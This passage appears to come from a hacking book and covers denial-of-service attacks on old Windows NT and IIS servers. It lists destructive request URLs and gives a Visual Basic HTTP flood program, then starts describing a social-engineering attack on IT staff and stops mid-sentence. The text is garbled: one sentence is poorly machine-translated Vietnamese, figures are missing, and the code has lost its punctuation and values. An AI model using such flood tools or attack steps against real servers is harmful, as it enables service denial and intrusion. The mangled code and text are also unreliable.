Tóm tắt tấn công từ chối-of-Service: WebSite Professional là dễ bị tổn thương đến một cuộc tấn công DoS có thể gây ra tắc nghẽn CPU ngay lập tức, kết quả trong việc gây trở ngại dịch vụ. Hack Nhà nước: tắc nghẽn nghiêm trọng. | Figure DoS implications of the telnet hack attack. Figure Dr. Watson to the rescue. At this point IIS could immediately crash or crash upon scheduled administrative service interruptions essentially upon administrative shutdown and or service restart. The destructive requests include the following URLs Scripts Tools Createdatabase Scripts Tools Create Severe Congestion Synopsis Custom HTTP request saturation can cause severe resource degradation. Hack State CPU congestion. 568 Vulnerabilities Win NT 3x 4 and Internet Information Server version 3 4 5. Breach Using a simple underground IIS attack software module see Figure that has been programmed for an unlimited hit count a remote attacker can cause severe CPU congestion resulting in resource degradation and ultimately potential service denial. The program shown here was written in Visual Basic and includes only a single form see Figure . Figure IIS attack via custom HTTP request saturation. Figure VB form for . 569 Private Stopper Private Sub Command1_Click On Error GoTo ErrorHandler If begin Then If IsNumeric False Then MsgBox Please enter a va lid amount vbExclamation 0 Exit Sub stop True For a 1 To If Stopper 1 Then Exit Sub Do While DoEvents Loop GET 1 Next a Else Stopper 1 begin False End If Exit Sub ErrorHandler MsgBox Please enter a valid web server vbInformation Exit Sub End Sub System Control The purpose of this section is to re-create a common system control attack on Win NT servers. Attacks like this one against IT staff happen almost everyday. For simplicity this hack is broken into a few effortless steps Step 1 The Search In this step the attacker chooses an IT staff victim. Whether the attacker already knows .
